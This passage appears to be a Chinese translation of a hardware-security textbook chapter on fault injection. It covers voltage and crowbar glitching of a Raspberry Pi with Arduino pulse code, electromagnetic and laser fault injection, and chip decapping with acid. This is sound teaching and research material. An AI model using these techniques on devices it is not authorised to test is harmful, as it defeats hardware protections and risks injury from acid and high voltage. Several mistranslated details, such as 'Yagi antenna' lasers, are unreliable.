该电路需要一个外部信号源来触发开关操作,切换常规工作电压(正常电压输入)和故障电压(故障电压输入)之间。像 Arduino 这样的嵌入式平台可以轻松生成切换信号。列表 5-1 展示了代码,适用于经典的基于 ATmega328P 的 Arduino(Arduino Uno 及类似产品)。

//Use digital pin D0 – D7 with this code. We cannot use the digitalWrite()
//function as it is VERY slow. Instead we will be directly accessing the registers.
#define GLITCH_PIN 0

void setup(){
    DDRD |= 1<<GLITCH_PIN;
}

void loop(){
    //Create 2000 ns pulse – in practice NOT very accurate, actual pulse is
    //about 1720 ns.
    PORTD |= (1<<GLITCH_PIN);
    delayMicroseconds(2);
    PORTD &= ~(1<<GLITCH_PIN);

    //Create very short pulse, 2 cycles (125ns, assuming a 16MHz Arduino)
    //We no longer use digitalWrite() as it's slower, but directly access AVR
    //registers.
    PORTD |= (1<<GLITCH_PIN);
    PORTD &= ~(1<<GLITCH_PIN);

    //Create 500ns pulse (2 cycles + 6 nops = 8 cycles, 8 * 62.5 = 500ns)
    PORTD |= (1<<GLITCH_PIN);
    __asm__ __volatile__ ("nop\n\t");
    __asm__ __volatile__ ("nop\n\t");
 __asm__ __volatile__ ("nop\n\t");
    __asm__ __volatile__ ("nop\n\t");
    __asm__ __volatile__ ("nop\n\t");
    __asm__ __volatile__ ("nop\n\t");
    PORTD &= ~(1<<GLITCH_PIN);
}

列表 5-1:用于生成快速脉冲的 Arduino 代码

该代码通过使用一个不太精确的延迟例程和 CPU 执行速度作为定时源,生成三种不同时长的脉冲。你可以轻松添加按钮或其他接口来发送其他时长的脉冲。

你可以使用其他几种设备作为多路复用器。一个选择是使用两个独立的互补开关芯片,而不是一个集成设备,例如 TS12A4515P 和 TS12A4514P。这些开关芯片也有面包板友好的 DIP 封装,并且具有一个“常闭”和一个“常开”开关。使用独立封装的优点可能是可以提供更多的功耗,例如。其他版本还配有双输入电源,允许你传递负电压以实现更复杂的故障选项。

这些多路复用器仍然具有相对较高的开关电阻。例如,针对仅需 1 mA 到 100 mA 电流的设备可能是可行的,因此你可以针对一个简单的独立微控制器。但如果你对更高功率的设备或甚至是一个完整的系统感兴趣,就无法使用这种简单的电压故障注入方法,因为多路复用器可能会过热。

切换故障生成器的目标准备

一旦你拥有了电压生成硬件,就可以准备目标。目标是通过断开标准电源并连接你自己的电源,使电源运行单一电源平面。这个操作的难度范围很广,主要是因为需要手动修改 PCB。单面 PCB 上的表面贴装微控制器,只有一个电源平面,容易修改;而修改使用球栅阵列(BGA)连接的多电源平面 SoC 则较为困难。假设你没有 BGA PCB 返修站,我们将重点关注使用标准工具(如烙铁和手术刀)进行手动修改。

按照以下步骤连接注入器:

  1. 选择要针对的电源平面。微控制器通常只有一个电源平面,但对于更复杂的嵌入式芯片,多个电源平面为芯片的不同部分供电。选择供电你感兴趣的故障操作的特定平面。

  2. 没有单一的方法来确定正确的电源平面,但一些目标研究可以帮助你。查看数据手册/引脚图和 PCB 标记中的“VCC”或“VCORE”。或者,测量芯片不同引脚上的电压,并将其与已知的核心电压进行匹配。无论如何,你需要知道正常电压,以便稍后驱动芯片。

  3. 找到一个在 PCB 上可以断开标准电源与电路连接的点,并注入你自己的电源。为了减少电容和电感的影响,找到一个尽可能接近目标的位置,记住一个电源平面可能会连接到芯片封装上的多个引脚。当你断开标准电源时,要断开整个电源平面,然后用注入器驱动该平面。PCB 设计、引脚分配和/或追踪 PCB 连线会帮助你找到这个点。电压调节器或电源管理 IC 供电的电源平面就是你可以切断电源的地方。或者,你也可以拆除串联组件,例如电阻或电感。

  4. 对于那些主动监控并管理电源的目标(复杂的 SoC 和电源管理 IC 是典型的例子),一旦完全断开电源,监控电路将检测到这一点,并可能阻止芯片完成启动过程,甚至无法重新启动。确保监控电路完好无损或以某种方式绕过,使其看到的电压不会被中断。这样做取决于电路的实现方式,需要对涉及的电子元件有一定了解。

  5. 使用手术刀小心地切断 PCB 路径并断开现有电源。通过测量连接是否不存在,仔细确认你确实已经断开电源。当你确认已经断开后,将注入器的输出焊接到电源平面。使用短线以避免增加过多的电感。使用切割点为电路供电,或者将电线焊接到靠近芯片的(已拆除的)解耦电容焊盘上。

  6. 为了将故障注入到芯片中,尽可能通过拆除解耦电容来减少 PCB 上的电容。这些电容通常是小型电容,插入在 VCC 和 GND 之间,用于减少电源上的噪声,实际上还可以避免现场发生意外故障。

  7. 一种方法是逐个拆除这些电容,直到你拆除了所有电容,或者直到芯片停止工作。后一种情况下,将最后拆除的电容重新焊回去,希望能有好的结果。通常,芯片会重新开始工作。你可能能在不拆除电容的情况下注入故障,但要准备接受较低的成功率。

  8. 在继续之前,检查在使用你的电源供电时,设备是否能够启动并正常运行。如果无法启动,重新检查并调试每一步,知道你可能会使设备变砖。现在,你应该已经有了一个由稳定电源供电并可以控制的目标。一旦达到这个点,就可以开始进行故障实验(像第四章中的示例)。

超压注入故障

作为控制电压故障的替代方法,短路法(crowbar)使用更大的力量,控制性较差,但更容易实现。与先前的硬件允许对正常和故障工作电压进行精确控制不同,短路法是通过短暂地将正常工作电压短接到 0 V 来实现的。短路法实际上是将一个“死短”应用于设备的电源供应之一。这必须小心进行,因为如果故障持续时间过长,可能会损坏电源电路,特别是考虑到这些电源可能没有短路保护。

短路会在电源分配电路中引起振铃,这实际上是大幅的电压尖峰。故障的性质取决于板子的具体情况,并且对于攻击者来说很难控制。此方法在 Colin O’Flynn 的论文《使用短路器在嵌入式系统中进行故障注入》(IACR Cryptology ePrint Archive, 2017)中进行了介绍。

选择短路器

短路器本身可以是一个 MOSFET 器件;MOSFET 本质上是一种晶体管。具体选择哪种 MOSFET 将取决于你攻击的设备。如果你的设备有强大的电源或大容量的去耦电容,且你无法将其移除,你需要一个高功率 MOSFET。与低功率 MOSFET 相比,高功率 MOSFET 的开关时间较慢,因此使用高功率 MOSFET 会对故障持续时间施加最小限制。

两个此类 MOSFET 的例子是低功耗设备的 DMN2056U 和高功耗设备的 IRF7807。它们都是逻辑电平 MOSFET(意味着信号发生器或 Arduino 可以轻松驱动它们),但 IRF7807 具有更低的导通电阻,在试图拖低电源轨并在高功耗设备(如 Raspberry Pi)中产生故障时非常必要。

使用逻辑电平驱动的 MOSFET 可以获得更好的效果,因为它们可以通过 3.3 V 信号完全开启。标准 MOSFET 需要更高的电压(5 V 至 10 V)才能开启,这意味着如果只用 3.3 V 信号驱动它们,你将无法获得强大的短路效应。合适的 MOSFET 通常以表面贴装的形式提供;穿孔式 MOSFET 通常速度过慢。

你可以通过任何合适的信号源来驱动 MOSFET 的栅极:如实验室波形发生器、FPGA 开发板或 Arduino。你可以使用清单 5-1 中的相同代码来触发 MOSFET,在可编程的时间内产生故障。

短路故障发生器的目标准备

与控制电压故障相比,短路注入方法需要的目标准备工作要少得多。你只需要确定一个合适的电源平面,并且无需将该电源平面与电路的其他部分断开连接。

确定敏感电源轨与控制电压故障的过程非常相似。你可能需要查阅设备的数据手册,以确定各个电源引脚连接的电压值。有关此类信息的详细内容,请参见第三章。

将撬棍连接到设备的去耦电容器上。这些电容器几乎总是与电源引脚之间有一个非常低的阻抗路径。由于电容器是简单的双端元件,因此将其物理连接起来也相对简单。去耦电容器的一端通常连接到电源轨的地线,这使得可以将撬棍设备直接焊接到去耦电容器上。让我们通过一个树莓派 3 Model B+ 的快速示例来看一下。

树莓派故障攻击与撬棍

树莓派基金会没有发布最近款树莓派设备的完整原理图。例如,树莓派 3 Model B+ 的原理图是有限的,并未显示主 SoC 的完整引脚图。它确实包含一些关于电源轨的信息(见 图 5-13)。

f05013

图 5-13:树莓派 3 Model B+ 原理图的一部分,主电源调节器位于左侧(根据 Creative Commons Attribution-NoDerivatives 4.0 国际 [CC BY-ND] 许可协议授权)

在大多数情况下,您会需要类似“微处理器单元”或“核心”电压电源轨的东西。检查原理图会发现以下标签:3V3A、3V3、1V8、DDR_1V2、VDD_CORE 等等。在树莓派 3 Model B+ 的情况下,VDD_CORE 看起来是最合适的。然而,我们希望将故障插入得更接近主 SoC,而不是直接在电源调节器处。您会注意到从 图 5-13 可以看到,电源调节器芯片的第 19 引脚连接到 VDD_CORE。让我们看看那颗芯片(见 图 5-14)。

f05014

图 5-14:树莓派 3 Model B+ 的一部分,显示了主 SoC(2)和电源 IC(1)

图 5-14 中显示了连接到第 19 引脚的部分,标记为 1。主 SoC 位于附近,标记为 2,但它距离足够远,以至于在电源调节器芯片输出端插入故障并不会太有效。幸运的是,我们可以使用万用表找到 VDD_CORE 输出与主 SoC 下方位置之间的 0 Ω(直接短路)。图 5-15 显示了 SoC 下方的视图。

图 5-15 中的三个勾画部分都显示了它们彼此之间以及与 VDD_CORE 轨之间的直接短路。如果我们在上电时测量,电压大约是 1.2 V。需要注意的是,我们可能会有多个相似电压的轨道;例如,DDR 电压也是 1.2 V,但属于不同的轨道。

图 5-15 中 VDD_CORE 的每个勾画部分可能连接到 SoC 的不同引脚。例如,这是一个四核设备,可能还搭载了其他加速器。因此,我们预计该芯片可能暴露出不同的电源引脚,这些引脚都在 VDD_CORE 轨上。我们可能需要尝试向这三组中的每一组插入故障。目前,我们将像 图 5-16 中所示的那样,将电线焊接到每一组。

f05015

图 5-15:主 SoC 下方,标出的区域都被电连接到 VDD_CORE 电源轨

f05016

图 5-16:三个 VDD_CORE 连接中的每一个都被引出到电线,以完成故障插入。

你可能想使用更小的电线,但这个示例展示了你如何能够使用粗糙的设备。需要注意的是,电线非常容易断裂;我们使用热熔胶覆盖电线以固定它们。你也可以使用其他材料(例如环氧树脂),但热熔胶的优点是容易去除。我们还成功地只使用针(跳线针)连接电源,这意味着你不需要将电线焊接到目标板上。缺点是你不能轻松地移动目标,因此在这个示例中我们将继续使用焊接的电线,这样更稳固。目标准备好后,接下来我们来设置故障硬件。

使用故障短路硬件插入故障

我们将把一个 MOSFET 连接到 VDD_CORE 电源轨上,以插入故障。图 5-17 展示了整体设置,其中 MOSFET 是 N 通道 IRF7807。重要的是,MOSFET 具有逻辑电平门槛,这意味着你可以通过任何普通的数字信号驱动 MOSFET。

f05017

图 5-17:MOSFET(左侧)短接 VDD_CORE 电源轨

除了故障触发器外,我们还需要一种触发 MOSFET 的方法。列表 5-1 展示了如何使用 Arduino 生成小脉冲,因此我们可以简单地重新利用它。Arduino GPIO 引脚的脉冲输出被驱动到图 5-17 所示的触发输入。或者,我们也可以使用脉冲发生器来生成小脉冲,或者使用专用硬件,例如 ChipWhisperer-Lite 或 Riscure 的 Inspector FI 硬件。我们需要实验脉冲的宽度,但希望其范围从大约 100ns 到 50μs 之间。

在我们的示例中,我们利用了 ChipWhisperer-Lite 具有 SMA 接口的 MOSFET 故障触发输出,并将其简单地接到 VDD_CORE 电源线上(见图 5-18),这实际上为我们提供了来自图 5-17 的故障设置,并配有可编程脉冲发生器。

f05018

图 5-18:ChipWhisperer-Lite 包含了一个 MOSFET 在故障(短路)输出中,我们可以用它来执行攻击。注意用于固定电线的热熔胶幼儿园技能。

其中一条 VDD_CORE 电源线连接到 SMA 连接器的中央引脚,该引脚与 MOSFET 相连。你可以使这个连接看起来更正式,但我们想展示即使是非常简单的设置也能成功。你还会注意到我们使用了单独的接地连接。在本示例中,焊接在 PCB 背面的接地线在使用前断裂了(我们提到过它们很脆弱),因此我们改为使用 I/O 头上的接地。我们希望电线尽量短,以减少电线长度的寄生效应;较长的电线(具有较大的电感)会削弱我们试图插入的脉冲。较短的电线意味着我们应该能够更精确地控制插入脉冲的宽度。

如果你能重置树莓派,说明你的故障硬件工作正常。插入过长的故障应该导致设备重启。如果没有重启,说明故障不够强大(或不够长)。

树莓派代码

当然,树莓派需要运行一个程序,才能让我们了解故障是否发生。我们将使用第四章清单 4-2 中的简单循环代码思路,并进行修改,增加额外的循环并移除触发器,如清单 5-2 所示。

#include <stdio.h>
int main(){
        volatile int i, j, k, cnt;
        k = 0;
 while(1) {
                cnt = 0;
                for(i = 0; i < 10000; i++)
                        for(j = 0; j < 10000; j++)
                                cnt++;
                printf("%d %d %d %d\n", cnt, i, j, k++);
        }
}

清单 5-2:一个双循环示例

我们添加了两个for循环,从而增加了潜在故障指令执行的时长。这两个循环意味着,如果我们在内循环中发生故障,外循环仍然会继续运行。使用两个循环还意味着目标会跳转到稍微不同的位置,增加了我们代码的脆弱性。

现在我们编译并运行程序,确保关闭优化选项,以避免编译器过于智能地优化代码(例如,使用-O0选项对于 GCC 或 Clang 编译器)。我们还添加了volatile关键字,以确保循环能够进入最终的二进制文件。

在运行 Pi 时,我们生成小的脉冲来引发故障。图 5-19 显示了故障会话的输出。

f05019

图 5-19:成功故障插入的结果

图 5-19 显示了cnt变量值的各种故障,在正常情况下,cnt值应为 100,000,000。还要注意,for循环结束时ij的值在本示例中未受到影响。

在这种情况下,我们在 HDMI 连接的显示器上监控输出,因此我们可以看到许多其他进程正在运行,而我们并没有破坏它们,这主要是因为循环程序占用了大部分 CPU 时间,但我们也偶尔会使系统崩溃。

对于最优参数,首先确定目标持续重启时的最短故障。这种故障过于激进,但它为故障时长提供了上限。对于树莓派来说,重启的时间尤为烦人,因此我们会从这个上限缩短故障时长。

我们不需要担心同步故障,因为来自 Listing 5-2 的循环将是主要执行任务。大部分处理器时间将花费在循环中,从而避免需要更仔细地表征平台或处理触发器。

故障注入结果

这个例子展示了故障注入如何能够在相当复杂的 Linux 目标上产生有趣的故障。此次攻击的结果将仅仅是循环计数器值的故障。图 5-19 展示了一个成功攻击的例子,结果是在循环中的任意时刻注入一个 3.2 微秒宽的脉冲。

图 5-20 展示了这种故障的波形。正常电压大约是 1.2V,而短路注入将其降至 0.96V。

f05020

图 5-20:注入到 Raspberry Pi 中的故障波形

释放短路器会导致电压迅速升高至 1.44V,并在电源轨上产生振铃。我们预计这应该是导致故障行为的原因,而不是降低的工作电压。我们没有使用其他方法来引入这个故障,唯一使用的是短路器,但这些板的复杂电力分配网络在被这种方式刺激时通常会产生振铃。这种振铃波形也解释了为什么我们使用了如此宽的输入脉冲。你会注意到,3.2 微秒的脉冲时间反映了目标上看到的电力逐渐减少,而不是突然的电压下降,这与我们注入线中仍有一定的电感以及电容电源网络对变化的抵抗有关。

由于攻击持续时间较长且具有演示性质,我们使用了软件触发器,并没有特定的硬件触发器来同步我们的故障注入器。请参见 Colin 的 YouTube 视频,标题为“使用 ChipWhisperer-Lite 对 Raspberry Pi 3 model B+进行电压(VCC)故障注入”,该视频展示了其在这款 Raspberry Pi 上工作的过程。

电压故障注入搜索参数

在切换两个电压之间时,我们需要首先确定运行目标的基础 电压。一开始我们可以使用其正常运行时的电压。然而,如果我们想优化一些,我们可以将目标运行在最高电压(针对尖峰)或最低电压(针对下陷),只要它仍然能够可靠地工作。通过调整电压(如果我们要通过故障使电压上升)或下降(如果我们要通过故障使电压下降),我们减少了故障注入器需要注入的电荷量,从而诱发一个导致故障的电压。

一旦你确定了操作时序和基础电压,就可以开始调整实际故障。如果使用如前面“短路注入故障”部分所描述的短路注入方法,你将无法控制故障电压,因为短路器只是将电压拉至地面。然而,如果你的注入器允许你控制故障电压,可以进行实验,看看什么因素会导致设备发生故障。逐步将电压移出操作范围,以避免造成永久性损坏。正向电压尖峰有更高的几率烧坏目标,因此最好先尝试电压下跌。你可以生成短时间低于 0V 的电压下跌,以耗尽电容,但过长时间这样做也可能导致损坏。

除了电压设置之外,你当然还需要考虑与故障位置相关的参数。我们在第四章中讨论了这些内容,以及相关的搜索策略。

电磁故障注入

电磁故障注入使用强烈的电磁脉冲来引发故障。你可以通过多种方式产生这种故障,但最简单的方法是通过一条线圈中脉冲强电流。电磁注入遵循法拉第定律,该定律表示通过导线回路的磁场变化会在回路端点产生电压差。通过线圈的电流尖峰产生了这种变化的磁场。芯片上的导线形成了回路部分。当变化的磁场作用于芯片上的导线时,我们会得到电压尖峰,可能会暂时使信号电平从 1 翻转为 0,反之亦然。电磁故障注入的一个方便特性是,一旦你建立了设置,你不需要修改目标设备;只需将探头放在芯片上方并触发即可。

另外,一些故障注入器可以生成持续的电磁场。这些设备更具体地用于偏置环形振荡器,目的是减少随机数生成器中的熵。有关更多详细信息,请参见 Jeroen Senden 的硕士论文《使用谐波波形的电磁故障注入对基于环形振荡器的真正随机数生成器进行偏置》(特温特大学,2015 年)。

图 5-21 展示了电磁故障注入器的一般结构,其中线圈产生一个磁场,诱发目标芯片内部某处的电流流动和电压变化。根据 Marjan Ghodrati 等人撰写的《通过电磁注入诱发局部时钟故障》,结果是局部时钟故障。更有趣的一点是,你可以精确地将探头放置在芯片表面上,这意味着你可以针对芯片的特定区域进行攻击。尽管该磁场可能不像激光束那样精确,但它比时钟或电压故障注入更具局部效果。你还不必担心用酸烧伤自己,因为不需要去除封装,但你将面临高电压和电流,因此请避免舔电磁探头的诱惑。

f05021

图 5-21:电磁脉冲将电压注入目标芯片。

许多封装上方有散热器。虽然我们发现仍然可以通过薄散热器插入一些磁场,但它确实显著减少了传递到芯片的功率。去除散热器对于许多攻击,包括 EMFI 攻击,非常有帮助,具体如下所示。

生成电磁故障

你的预算决定了是购买还是自制线圈和脉冲发生器。线圈可以有多种形式,最简单的方法是使用现成的磁场探头或固芯电感器。一些有用的探头设计参考文献包括 Rachid Omarouayache 等人的《用于 EM 故障攻击的磁性微探头设计》(EMC Europe,2013 年)和 Rajesh Velegalati、Robert Van Spyk 及 Jasper van Woudenberg 的《电磁故障注入实践》(ICMC,2013 年)。通常,探头将由 SMA 连接器构建,如图 5-22 中的示例所示。

最后,你需要为探头提供信号。所需的信号强度决定了你需要哪些设备。最基本的脉冲来自电容器通过探头线圈的放电。目标是通过线圈实现非常高的电流变化速率,因此线圈的匝数越少,电感越小,从而导致更快的上升时间。

f05022

图 5-22:自制和商用探头示例

你可以购买商用脉冲发生器,这些发生器具有广泛的电压和电流输出范围。通过调整脉冲的电压和/或电流,你可以调节在目标设备中诱发的效应类型。Avtech、Riscure、NewAE Technology 和 Keysight 都是脉冲发生器(或 EMFI 工具)供应商。用于故障注入的典型电压为 60–400V,电流为 0.5–20A,脉冲长度通常为几十纳秒(因此功率约为几十微瓦;不必担心烧坏探头尖端)。

一个可以由脉冲发生器或探头尖端定义的参数是脉冲在芯片中感应的极性。你可以通过切换进入探头的电压脉冲的极性或反转探头线圈的方向来改变脉冲极性。无论哪种方法,都能反转磁场的方向,从而反转感应电流的方向。在某些情况下,你可能无法安全地改变极性。例如,在使用高电压时,你肯定希望金属连接器的裸露部分处于地电位。实际上,脉冲极性的选择是任意的;我们倾向于在特定设备上测试两种极性,因为某一种极性可能在特定设备上比另一种更有效。

最后,将探头尖端尽量接近芯片,但不要触碰芯片。根据经验法则,目标与探头的距离应小于回路直径。如果回路直径约为 1 毫米,你可以直接将其放置在封装顶部。如果直径更小,可以考虑去除芯片封装。

电磁故障注入架构

电磁故障注入工具可以使用多种架构,通常分为两种主要类型:直接驱动注入线圈和耦合驱动(见图 5-23)。左侧和中间的两种电磁故障注入工具采用直驱架构,而右侧的电磁故障注入工具采用耦合驱动(这里与电容 C1 耦合)。在直驱电磁故障注入工具中,电容器组直接接入线圈,并控制接入时间。

f05023

图 5-23:EMFI 工具

直驱架构的优势在于它对连接到设备的探头相对宽容。它不需要精确匹配阻抗或其他因素,因为几乎任何连接到驱动器的东西都可以从电容器组中尽可能快速地驱动。在这两种直驱架构中,电阻器 R1 用于限制开关元件(MOSFET)中的电流,以防输出端短路导致损坏。

你可以将直驱架构细分为高端低端开关架构。低端开关的优点是结构简单,能够实现高性能;主要缺点是输出端“尖端”始终连接到高电压源,这是一种危险的情况。你可以在第一款开源 EMFI 工具中找到这种架构的例子,Ang Cui 和 Rick Housley 在他们的工作《BADFET:利用二阶脉冲电磁故障注入攻破现代安全启动》(WOOT ’17)中展示了这一架构。

一个更复杂但更安全的选择是使用高侧开关。选择这个选项时,开关元件必须“跟随脉冲”,意味着当开关关闭时,控制电压必须迅速跟随脉冲电压。在图 5-23 中的中间示例中,标记为“Trigger In GND”的连接点不在系统地面电位上;相反,它处于输出线圈的高侧(该线圈正处于从 0 V 到 400 V 左右的脉冲过程中)。将正常的系统地面(预期为 0 V)连接到“Trigger In GND”需要额外的电路来实现功能,但它确保了高电压仅在脉冲操作期间存在。高侧开关安排被 ChipSHOUTER 工具使用,你可以在www.chipshouter.com上找到有关此构造的更多信息,包括 ChipSHOUTER 设计细节和原理图。

图 5-23 右侧所示的耦合架构允许低侧驱动的简单性,但使用耦合元件(如变压器、电感器或电容器)来传递探头能量,确保电压仅在放电事件期间存在。图 5-23 中的示例显示了使用电容 C1 来耦合能量。如果选择电阻 R3 非常小,则可以像此示例中一样将“Trigger In GND”连接到系统地面。电阻 R2 用于在 MOSFET 打开(关闭)时在其两端产生电压,从而引起一个变化的电压,该电压通过电容 C1 耦合。

该架构可能需要通过不同的探头进行调试——例如,改变 R4 和 C1 的值。《EM 脉冲故障注入设计考虑》由 Arthur Beckers 等人(CARDIS 2019)提供了该架构设计的良好概述。该架构在设计简单性、脉冲生成有效性和通过限制输出端可能暴露的高电压来固有地保证安全性之间提供了一种折衷(输出端的高电压无法像其余电路那样轻松封装)。

EMFI 脉冲波形和宽度

一个典型的驱动波形应该是什么样的?图 5-24 展示了这样的波形示例。电压进入一个线圈,你可以看到它从 0 V 变到 400 V,再回到 0 V。

在这种情况下,我们生成了两个连续的脉冲。你可能认为只有非常短(窄)的脉冲是相关的。如果 CPU 以 50 MHz 运行,一个时钟周期是 20ns,那么你是否真的应该插入更宽的脉冲,比如显示的 1,000ns 脉冲?在考虑脉冲宽度时,记住是磁通量的变化在引入故障。因此,我们主要关心的是边缘。边缘的电压变化是实际故障插入的唯一有趣时刻。一个非常宽的脉冲意味着在上升沿引发电流,在下降沿引发相反方向的电流。

f05024

图 5-24:插入到线圈中的驱动波形示例,用于 EMFI 攻击

电磁故障注入的搜索参数

电磁故障注入(EMFI)中的一个主要参数是探头尖端的类型以及尖端的构造,例如绕组的数量、使用的核心类型和尖端产生的磁场极性。一般来说,这些参数比较难以变化,因为它们高度依赖于你的具体物理硬件。改变这些参数可能意味着需要制造新的物理探头,这并不像改变一些 Python 代码那么简单。

选择正确的极性以生成你所需的故障,遗憾的是,这只能靠运气。我们并不知道有什么方法可以预测哪种极性效果更好,但我们发现一种极性可能会触发与另一种极性不同的故障。作为极性对真实设备影响的例子,请参阅 Colin O'Flynn 的《BAM BAM!! 电磁故障注入在汽车 ECU 攻击中的可靠性》(ESCAR EU,2020),其中一种极性未能成功,而另一种极性在 ECU 目标上取得了极大成功。

关于核心构建本身的主题,研究表明使用少量的环路(从单个环路开始)和锐化的铁氧体核心。湿式研磨机(通常用于刀具磨锐)非常适合塑形铁氧体核心。

电磁故障注入通常是非破坏性的,因此你可以从最大值的 50%开始你的故障功率故障 电压 乘以 故障电流),然后根据是否没有结果或崩溃过多来调整。你可能无法配置故障持续时间,因为这取决于脉冲发生器。然而,如果你能配置它,从 10–50 纳秒开始是合理的。如前所述,非常宽的脉冲实际上可能会导致两个脉冲被注入到目标中。

一旦你完成了一些初始设置,记得检查你的配置并使用第四章中讨论的搜索策略。

光学故障注入

芯片由半导体材料构成,通常是使用掺杂硅制造的,并且具有一个有趣的特性(对我们黑客而言),即当你用足够强度的光子照射门时,门的导电性会发生变化。强光脉冲实际上有能力电离半导体区域,从而导致局部故障。

人类实际上从我们开始将集成电路(IC)放置在辐射强烈的环境中,如外太空时,就已经知道了光子效应。各种辐射都会产生与用光子照射晶体管相同的效应,比如用α粒子、X 射线等对其进行辐射。问问你在航空电子或航天技术领域的朋友关于单粒子事件翻转—基本上,太空本身笨拙地试图在你的芯片上注入故障。进行故障分析的人可以通过用激光轰击集成电路来模拟这些效应。激光的好处是它们比粒子加速器或 X 射线机更安全、更容易获得。这意味着我们可以用它们来注入故障。

芯片准备

为了通过光访问芯片,您必须首先去除部分或全部封装,这一过程被称为解封decapping)或去封装,如第一章所述。要访问芯片的正面,只需解封顶部(假设它不是倒装芯片设备,见第三章讨论)。图 5-25 展示了一个已解封的智能卡芯片示例。

f05025

图 5-25:已解封的公开可用智能卡芯片,连线保持完好(来源:Riscure)

要解封一个设备,我们使用酸(通常是烟雾状硝酸)来化学蚀刻封装。不同的封装类型需要使用不同的具体过程。因此,暴露硅芯片既是技巧又是科学。做好在开发解封技术的实验过程中可能会丢失一些样品的准备,并且要意识到,在没有适当化学实验室的环境下进行解封是危险的。通过一些努力是可能的;请参考《PoC || GTFO 国际期刊》,第 0x04 期,获取一些关于在家进行解封的好提示。

目标是通过包装上打一个洞,使芯片可见,同时确保连线和包装的其他部分完好无损,以便您可以将芯片放回其原始 PCB 上使用。芯片的封装决定了您可以访问芯片的哪些部分。您只能从一侧解封 BGA 封装,通常会暴露芯片的前面;而倒装芯片封装则提供对芯片背面的访问。在制造过程中,如果发生芯片堆叠,您最终可能只能访问包装中的一颗芯片。叠层封装会带来一些挑战。(有关这些封装的讨论,请参见第三章。)

当无法去封装时,去包装和重新连接可能会奏效。使用这种技术,你完全溶解封装并破坏连接线,只留下硅芯片。一旦你将芯片从封装中提取出来,你就可以访问芯片的正面和背面,但需要通过重新连接来重新连接芯片。芯片准备实验室可以进行重新连接,或者如果你有接触到线键合机,自己动手(需要一些练习)也可以。

正面和背面攻击

你可以从两个方向进行光学攻击:芯片的正面或背面(见图 5-26)。

f05026

图 5-26:来自芯片两侧的激光攻击(图片来源:Riscure)

箭头指示了激光束的来源。芯片的正面有组成连接门的金属层。旧的芯片可能有三层金属层,而现代集成电路可能有超过 10 层。硅衬底位于芯片的背面。你想要攻击的门被夹在金属和衬底之间,所以你需要让光子越过这些障碍。达到这个目标的关键有两个方面:波长和功率。

在图 5-26 所示的芯片正面,金属会散射你的光子,尽管金属线之间的间隙相对较小,但它们足够大,光子可以悄悄穿过。较短的波长有助于光子通过这些小间隙。层与层之间的散射就像旧款的巴加泰尔弹球游戏,尽管弹球从顶部的一个地方发射,但它最终落地的区域却扩展到了底部的一个更大范围。这使得落地区域比光源发射的点的大小要大。大约 400 nm 到 900 nm 之间的波长效果最好,因为目标中的硅能够轻松吸收这些波长。

根据你需要反射多少金属层、选择的频率以及激光脉冲的持续时间,你可能需要几瓦特的功率。过高功率的二极管激光器很有用,因为调低功率比调高功率要容易。在实验室环境中,前面使用的衰减 445 nm/3 W 和 808 nm/14 W 激光器的脉冲持续时间从 20ns 到 1000ns 不等。不要因为高功率的额定值而气馁。参阅 Sergei P. Skorobogatov 和 Ross J. Anderson 的论文《光学故障注入攻击》(CHES 2002),讨论了成功使用 650 nm/10 mW 激光器进行故障注入攻击的案例。

在背面,你需要穿透衬底,这基本上是一个厚(几百微米)的硅片,你的光子需要穿透它才能产生效果。这里的难题是,你希望使用一种不会被硅衬底吸收的波长,但却会被门(同样由硅制成)吸收!

解决此问题的方法是使用硅刚好变得透明的激光波长。在红外范围内,1,064 nm 是一个不错的选择,因为它也可以释放大量的光子来影响门电路。我们曾使用 20 W 二极管激光器来实现这一点,尽管这可能有点“过于强大”。衬底也会扩散你的光子,这会增加有效的光斑大小;如果你能使用这类抛光设备,抛光和薄化衬底会有所帮助。

图 5-27 显示了不同光波长在各种材料中的穿透深度。

f05027

图 5-27:不同光子波长在硅中的穿透深度

你可以看到,在 1,064 nm 处,硅刚好接近变得透明。随着波长变短,吸收系数开始迅速增加。例如,注意 1,200nm(1.2μm)和 800nm(0.8μm)之间的变化。

光源

在尝试通过光子注入故障时,需要考虑光源的以下特性:时间精度、空间精度、波长和强度。

你可以通过多种方法在你的芯片上获得足够的光子冲击;以下是三种方法:

  • 使用用锡箔包裹的相机闪光灯,通过一个小孔将光束集中并通过显微镜。这显然是一种非常具成本效益的解决方案,尽管时间和空间的精度有限(这一点在 Skorobogatov 和 Anderson 的《光学故障注入攻击》中也有所介绍)。

  • 使用专门用于 IC 修改的激光切割机。故障分析实验室通常有这些设备,但它们不在普通黑客的预算之内。我们提到它们,是因为它们在专用工具可用之前曾用于故障注入。(注意,这些激光切割机不同于用于切割木材或金属的激光切割机。)这些切割机的光束强度足以进行故障注入。它们设计用于通过烧蚀部分芯片来进行微观修改。一个缺点是,当它们用于切割时,对时间精度没有要求,这大大限制了在正确的时刻释放光子的能力。基于八木天线的激光切割机在触发激光和实际光子释放之间的时间存在抖动,这意味着它们在用于故障注入时提供的不一致的可重复性。

  • 使用二极管激光器。你可以将二极管激光器与显微镜光学元件结合,聚焦到一个小光斑,或者与光纤结合引导光束,如图 5-28 所示。

f05028

图 5-28:光纤激光故障注入(来源:Riscure)

这张照片展示了一根光纤精确定位在一个去顶盖的智能卡芯片上,激光二极管瞄准芯片的特定区域。你可以将显微镜和光纤与 XY 加工平台结合使用来定位激光,这样可以生成小而集中的光斑和脉冲,且几乎没有定时抖动。

你可以将光学故障注入扩展到本书范围之外的更高级技术。例如,在处理高度保护的芯片时,可以使用多个激光源。如果你有一个包含 CPU 和加密加速器的芯片,你有时可以通过将一个激光光斑放置在 CPU 的某个区域,另一个放置在加密加速器的区域,然后同时照射这两个区域,从而在两个核心上注入故障。

光学故障注入设置

光学故障注入的优势在于你可以通过将激光瞄准芯片的精确位置来准确地定位注入的故障,这使得你可以针对功能的小部分(例如,JTAG 解锁电路)进行注入。找到合适的位置比较困难,需要某种 XY 定位平台来自动化搜索有用的位置。你需要一些具有匹配光斑尺寸的规格(即定位分辨率)的设备,这些光斑尺寸可以小到 1 微米。

在 XY 工作站旁边,你需要选择上述提到的光源之一,并可选地将其连接到光学显微镜上。请注意,任何显微镜都有一定范围的频率是几乎透明的,因此请确保它与光源的频率匹配。

